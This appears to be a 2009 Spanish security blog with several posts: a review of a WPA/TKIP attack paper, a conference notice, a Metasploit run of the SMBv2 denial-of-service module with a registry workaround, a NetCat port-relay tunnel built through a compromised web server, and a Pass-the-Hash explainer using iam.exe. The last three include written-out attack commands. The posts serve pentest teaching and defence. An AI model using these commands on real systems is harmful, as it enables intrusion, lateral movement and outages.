jueves, 24 de septiembre de 2009

WPA... ¿Roto de nuevo?

Hace unos pocos días por fin conseguí leerme (no lo hice antes por falta de tiempo) el paper "A Practical Message Falsification Attack on WPA", que según leí hace unas pocas semanas afirma haber encontrado un método para romper WPA en 1 minuto, o al menos así se ha publicitado.

El artículo de los japoneses Toshihiro Ohigashi (Universidad de Hiroshima) y Masakatu Morii (Universidad de Kobe) intenta llegar "un poco más allá" de la técnica descubierta por Beck y Tews el pasado año con la que afirmaban que podían llegar a obtener el MIC con la que había sido cifrado un paquete y a partir de ahí inyectar tráfico en la red cifrada sin conocer la contraseña.

Esto era posible unicamente en aquellas redes que tuvieran la funcionalidad de QoS activada, ya que estas implementaciones funcionan con 8 canales diferentes que mantienen sus contadores independientemente, por lo que una vez capturado un IV de uno de ellos es posible realizar el ataque contra el resto de canales a pesar de la verificación del IV utilizado (comparación con el contador).



El artículo de Ohigashi y Morii propone un método para reproducir este ataque en redes que no tengan activada la funcionalidad de QoS empleando el mismo ataque descubierto por Beck y Tews.

La técnica de estos investigadores consiste en la realización de un ataque MitM sobre la red inalámbrica que permita al atacante tener un control de los paquetes que entran y salen del punto de acceso. De esta manera, el atacante es capaz de no permitir la salida o entrada de paquetes que vayan a suponer una actualización del valor del contador una vez el punto de acceso se encuentra utilizando el IV que necesitamos para realizar el ataque.



De esta manera es posible realizar el ataque ChopChop sobre redes WPA con TKIP ya publicado el año pasado sin necesidad de existir funcionalidad de QoS.

No obstante, tanto el ataque propuesto el año pasado como el descubierto por este par de investigadores japoneses, se basa en la inyección de paquetes ARP, partiendo de la base de que estos paquetes, debido a sus características, son conocidos a excepción de el último byte de la dirección IP de origen y destino, por lo que disponemos del plaintext del paquete a excepción de 2 bytes.

Esta limitación es bastante importante a la hora de aplicar este ataque a la realización de pruebas de intrusión o ataques reales de un atacante, puesto que los paquetes TCP incluirían un número mucho mayor de incógnitas que aumentarían el número de bytes desconocidos y por tanto aumentarían en gran medida la complejidad del ataque sino llegan a hacerlo impracticable.

Es por ello que aunque es cierto que los investigadores han conseguido inyectar paquetes en una red inalámbrica protegida con WPA TKIP en un minuto, el ataque es, por el momento, dificilmente extensible a otro tipo de paquetes que puedan resultar más peligrosos para la seguridad. Aún así recordamos que cuando se estudiaron las alternativas a WEP debido a su debilidad, WPA no fue más que una solución transitoria propuesta para ser utilizada en aquellos puntos de acceso que no disponían de la potencia necesaria para los algoritmos de cifrado utilizados en WPA2. En la actualidad, casi cualquier dispositivo inalámbrico minimamente moderno soporta cifrado WPA2, por lo que se recomienda su migración a este cifrado.

En pocas palabras, no es urgente migrar de cualquier manera ya mismo por el peligro de que nos realicen este tipo de ataques, porque hacerlo tan "a locas" nos puede ocasionar problemas mayores que el propio riesgo, pero tampoco dormirse en los laureles pensando que no pasa nada. Hay que ir planificando y pensando la migración de todas las redes inalámbricas que tengamos a WPA2 o, en caso de no ser posible, establecer medidas adicionales de control para la detección de este tipo de ataques.

lunes, 14 de septiembre de 2009

Conferencias SOURCE Barcelona 21 y 22 de Septiembre




Lunes y martes de la próxima semana (21 y 22 de Septiembre) tiene lugar en Barcelona la primera edición de la conocida conferencias SOURCE Conference, que tradicionalmente ha tenido lugar en Boston (USA), pero que este año tenemos la suerte de que se desplace a Barcelona.

Junto con ella, ponentes de primer nivel en el mundo de la seguridad que no mencionaré por no cometer la injusticia de dejarme a alguno, pero que os invito a revisar. Sin duda todo un lujo.

Las charlas estarán divididas en su mayoría en dos auditorios, el primero más centrado en tecnología, y el segundo más orientado a negocio, aunque tengo que decir que incluso las conferencias orientadas a negocio parecen tener una componente técnica muy fuerte, sobretodo en el segundo día de conferencias.

Podeis apuntaros a través de la web de registro. El coste es de 600€ para el público en general, pero debido a una oferta especial ofrecida por la organización del evento a los lectores de este blog, cualquiera que al registrarse utilice el código "CMSOURCE" obtendrá un 25% de descuento. Por otra parte, los estudiantes que se acrediten como tal podrán registrarse por tan solo 75€, una gran oportunidad!!.

Sin duda, nos vemos allí.

sábado, 12 de septiembre de 2009

Die Vista Die (con Metasploit) y Solución

La semana pasada todas las páginas webs de temática relacionada con la seguridad se hicieron eco de la publicación de una vulnerabilidad zero-day que afectaba a un mal procesamiento de los datos de entrada en el protocolo SMBv2, usado por Windows Vista y Windows 2008 para la utilización de recursos compartidos.

La vulnerabilidad consiste en la inserción de un caracter especial en el campo "Process Id High" de la cabecera SMB que provoca que la ejecución del proceso salte a una dirección de memoria fuera del espacio que tiene reservado, provocando un error y la inestabilidad del sistema, con el consiguiente pantallazo azul.

Según se ha publicado, ya existe un modulo del Metasploit Framework que aprovecha esta vulnerabilidad, así que no podiamos dejar la ocasión de probarlo, sin embargo, haciendo update de la metasploit como se suele hacer no aparece, así que tuvo que ser descargado "a mano":

# cd /pentest/exploits/framework3/modules/auxiliary/dos/windows/smb/
# wget http://trac.metasploit.com/export/7010/framework3/trunk/modules/auxiliary/dos/windows/smb/smb2_negotiate_pidhigh.rb


Ahora que ya lo tenemos en el directorio de nuestros exploits, vamos a la metasploit y a utilizarlo:

# cd /pentest/exploits/framework3/
# ./msfconsole
msf > use dos/windows/smb/smb2_negotiate_pidhigh
msf auxiliary(smb2_negotiate_pidhigh) > show options
Module options:

Name Current Setting Required Description

---- --------------- -------- -----------

OFFSET 65535 yes The function table offset to call

RHOST yes The target address

RPORT 445 yes The target port

msf auxiliary(smb2_negotiate_pidhigh) > set RHOST 172.16.24.141
RHOST => 172.16.24.141
msf auxiliary(smb2_negotiate_pidhigh) > exploit
[*] Auxiliary module execution completed




Como podemos ver, tenemos un bonito pantallazo azul, la máquina se reinicia y vuelve a arrancar.

En el caso de los Windows Vista puede que la solución para protegernos de esta vulnerabilidad sea más sencilla, únicamente hay que activar el firewall personal del Windows o desactivar los recursos compartidos hasta que sea publicado el parche y pueda aplicarse. De hecho, ¿para qué necesita un Windows Vista (siempre un workstation de un usuario) ofrecer recursos compartidos? Si no se va a usar para nada dejadlo activado (el firewall), ya que, además de este riesgo, existen numerosos riesgos asociados a malware que se propaga a través de este servicio.

Sin embargo, el caso de los Windows 2008 es un poco más complicado, ya que en muchas ocasiones la organización va a requerir que estos servicios se sigan ofreciendo, como por ejemplo en los servidores de ficheros. Para estos casos, veamos como podemos protegernos mientras Microsoft publica el parche:

1) Ejecutamos "regedit".
2) Buscamos la siguiente clave de registro: HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters
3) Creamos una clave llamada "Smb2" de tipo REG_DWORD a la que le asignamos valor "0" (cero) para deshabilitar el uso del protocolo SMBv2.
4) Reiniciamos el equipo para que los cambios surtan efecto.



Una vez cambiada la clave de registro y reniciado el equipo, volvemos a repetir el proceso de explotación de manera idéntica, obteniendo los siguientes resultados:



Como podemos ver, el Windows Vista sigue como una rosa (como se puede apreciar en la imagen), por lo que hemos mitigado el riesgo de exposición al ataque de DoS por medio de la desactivación a nivel de registro del protocolo SMB v2, en el cual reside la vulnerabilidad.

No he podido realizar las mismas pruebas en un Windows 2008 por no disponer de licencias, pero la clave sería la misma y el proceso idéntico, solo que con mucho más cuidado...

¿Alguien se anima a probarlo y contarnoslo? Por supuesto, en un sistema de test primero, y cuando haya que hacerlo en producción guardar un backup de las claves de registro antes de tocarlas por si algo saliera mal y hubiera que restaurar.

miércoles, 9 de septiembre de 2009

Jugando con NetCat

A raíz de un comentario en el post de la solución al Reto Hacking que publicamos antes del verano nos hemos dado cuenta que quizá la parte del uso de los NetCat no está muy profundamente explicada, así que en lugar de contestar el comentario con otro comentario, hemos decidido escribir un nuevo post.

Como ya os habreis dado cuenta, soy apasionado del uso de NetCat, me parece una herramienta increible, y además es una manera genial de aprovechar algún fallo que podría parecer no-crítico para entrar "por la puerta trasera". Esto resulta muy útil, ya que por lo general, las empresas fortifican especialmente la puerta principal, y dejan algo más desatendidos los servicios que están filtrando con los cortafuegos (son "inaccesibles") y mucho más los servicios internos. Es por ello que los ataques al cliente son tan fructíferos, porque estamos entrando por la puerta trasera en lugar de por la principal, que está mucho menos securizada. El uso de los NetCat se puede usar para lo mismo, una vez que conseguimos acceso para ejecutar comandos en alguna máquina que forme parte de la "puerta principal" (generalmente lo más fácil es a través de un fallo en una aplicación web, como sucede en el reto), podemos utilizar NetCat para redirigir puertos y poder explotar servicios que no son visibles a priori, exactamente como pasa en el reto.

Recordad que en los redirectores de entrada salida tengo que poner corchetes delante y detrás para que no me lo interprete como HTML (no me pregunteis por qué).



El razonamiento sería el siguiente:

1) Vale, tengo un servicio en el 445 de Door1 que puedo explotar, pero no es accesible. Sin embargo, sí que es accesible desde Web1, que tiene una vulnerabilidad que me permite ejecutar comandos. Genial!! Lo "típico" sería lanzar por un lado un NetCat en modo listener en el puerto 445 de Web1 que conectara mediante un NetCat normal al puerto 445 de Door1, y así solo tendriamos que lanzar el ataque contra el puerto 445 de Web1 y NetCat se encargaría de hacerlo llegar hasta Door1. Sin embargo, Web1 está filtrado de entrada, por lo que si ponemos un NetCat a la escucha no vamos a poder acceder a él, por lo que habrá que inventarse otra cosa. Mmmmm....

2) Está filtrado el tráfico de entrada... pero no el de salida! puedo establecer un NetCat normal hacia fuera, hacia mi portátil. Emplearé para ello el puerto 80, ya que es el que más probabilidades tiene de no haber sido filtrado (las actualizaciones de software, por ejemplo, van por HTTP la gran mayoría de ellas). Pues ya lo tengo! Voy a lanzar un NetCat normal hacia el puerto 445 de Door1, donde está el servicio explotable, y eso lo voy a enganchar con otro NetCat normal que me va a establecer una conexión contra el puerto 80 de mi portatil:

$ nc door1 445 0[<]tuberia | nc santaportatil 80 1[>]tuberia

3) Me da un error! Claro!!! No tengo ningún servicio a la escucha en mi portátil. Evidentemente un NetCat en modo normal tiene que conectar siempre con algún servicio que esté a la escucha, ya sea un servicio real u otro NetCat. Además, yo para lanzar el exploit necesito un puerto a la escucha, no puedo lanzarlo contra una conexión entrante. OK, pues ya está claro, tengo que poner otro NetCat a la escucha en el puerto 80 de mi portatil y este engancharlo con otro NetCat que esté a la escucha en otro puerto contra el que voy a lanzar mi exploit. En que puerto lo pongo? Pues en el 445, por ejemplo, que es el original del servicio que quiero explotar:

# nc -l -p 80 0[<]tuberia | nc -l -p 445 1[>]tuberia

4) Ya está!!, ahora si mando un exploit al puerto 445 de mi portátil, este será redirigido al puerto 80 a la escucha, y será transmitido a quien conecte a él. En este caso, ha conectado a él un NetCat en modo cliente que ha sido lanzado desde Web1, por lo que el exploit viaja hasta Web1 y es pasado de nuevo a otro NetCat cliente, que a su vez lo pasa hacia donde tiene establecida la coneción, en el puerto 445 de Door1. Al llegar el exploit al puerto 445 de Door1, el servicio que hay detrás (por fin un servicio real) lo interpreta y... BANG!! OWNED!

Lo vemos gráficamente de nuevo:



Espero que con esta explicación en detalle se hayan resuelto las dudas que han surgido con el uso de NetCat, y concretamente con el uso que se le dio para la resolución del reto.

Si existen más dudas, ya sabeis, comentarios ;)



miércoles, 2 de septiembre de 2009

Técnicas Pass-the-Hash

Con este nuevo post sobre técnicas de Pass-the-Hash que utilizamos en la resolución del Reto Hacking de antes del verano... Comenzamos! Con las pilas bien cargadas!!!

La verdad es que cuando descubrí esto de las técnicas de Pass-the-Hash me pregunté como algo así podía existir sin que me hubiera dado cuenta antes. Las descubrí investigando si podía saltar del contexto de un usuario SYSTEM en Windows al contexto de otro usuario del equipo para poder acceder a los recursos de otra máquina con esas credenciales. Al final, como solución, pensé en como tenía que funcionar Windows para hacer esta autenticación de forma automática, y... BINGO, técnicas de Pass-the-Hash.

Este tipo de técnicas están fundamentadas en la ausencia del uso de un Salt que añade un factor aleatorio en la generación de los Hashes, lo cual quiere decir que la misma contraseña, en usuarios diferentes e incluso en equipos diferentes, les va a corresponder el mismo Hash.

Esto abre la posibilidad de dos tipos de ataques, por un lado permite la realización de Crackeo de contraseñas mediante Rainbow Tables (con Salt el tamaño de las tablas y el tiempo se hace practicamente inusable), y por otro lado, nos abre la posibilidad de usar técnicas de Pass-the-Hash.

Estas técnicas consisten en la posibilidad de autenticarse entre máquinas Windows sin necesidad de nada más que de poseer el Hash, con lo que podemos conseguir acceso a los recursos de un usuario sin conocer realmente la contraseña ni emplear ningún tiempo de crackeo, simplemente obteniendo el Hash de la SAM o de la caché del sistema.

Para utilizar estas técnicas, existen un Toolkit de herramientas llamadas Pass-the-Hash Toolkit (desarrollado por Hernán Ochoa mientras trabajaba en Core Security, los desarrolladores del conocido Framework de Explotación Core Impact) que viene con una serie de ficheros. Entre ellos se encuentra el fichero IAM.EXE, al que se puede llamar con la siguiente sintaxis:

> iam.exe usuario dominio HashLM HashNT

Nota: El Hash se encuentra en la SAM como HashLM:HashNT, hay que separar estas dos partes en la llamada a iam.exe


Este binario lo que consigue es cambiar en memoria nuestras credenciales en la máquina windows que estemos y con el usuario que estemos utilizando por estas credenciales que le pasamos, por lo que a todos los efectos, en uan red Microsoft, seremos ese usuario y podremos conectar a todos los recursos que pueda ver ese usuario con sus privilegios de forma transparente, y todo ello sin necesidad de conocer la clave, no importa que sea una buena clave, con mayusculas, minúsculas, numeros, signos, etc, si conseguimos obtener el Hash de algún sitio, podemos usarlo para acceder a recursos sin necesidad de emplear ningún tiempo de crackeo.

Existen también otras aplicaciones que premiten autenticarse mediante al utilización del Hash en lugar de la contraseña (lo único que hace es saltarse el paso de "me das la contraseña y calculo el Hash"), como puede ser un parche para Samba (para los amantes de Linux, como yo) que permite establecer una variable de entorno SMBHASH con el Hash y a partir de ahí usar los comandos típicos de Samba para acceder a los recursos. Otra de las interesantes es el módulo psexec (original de Sysinternals) que existe en la Metasploit Framework, que también permite pasarle el Hash en lugar de la contraseña, con lo cual podemos ejecutar comandos de forma remota en una máquina Windows siempre que el usuario del que hemos obtenido el Hash tenga privilegios de Administrador. Sin embargo, de todas estas opciones, yo sigo prefiriendo el Pass-the-Hash Toolkit, puesto que me parece más flexible.

No obstante, que podamos usar este tipo de técnicas no quiere decir que no necesitemos para nada el crackeo de este Hash, ya que no solo de Microsoft viven las empresas, y a veces crackear y obtener la contraseña de un usuario nos puede ayudar a obtener acceso a otros sistemas no-Microsoft pero en los que el usuario esté usando la misma contraseña (y en los que no vale el mismo hash, evidentemente) como puedan ser sistemas Unix, páginas web, accesos VPN, etc.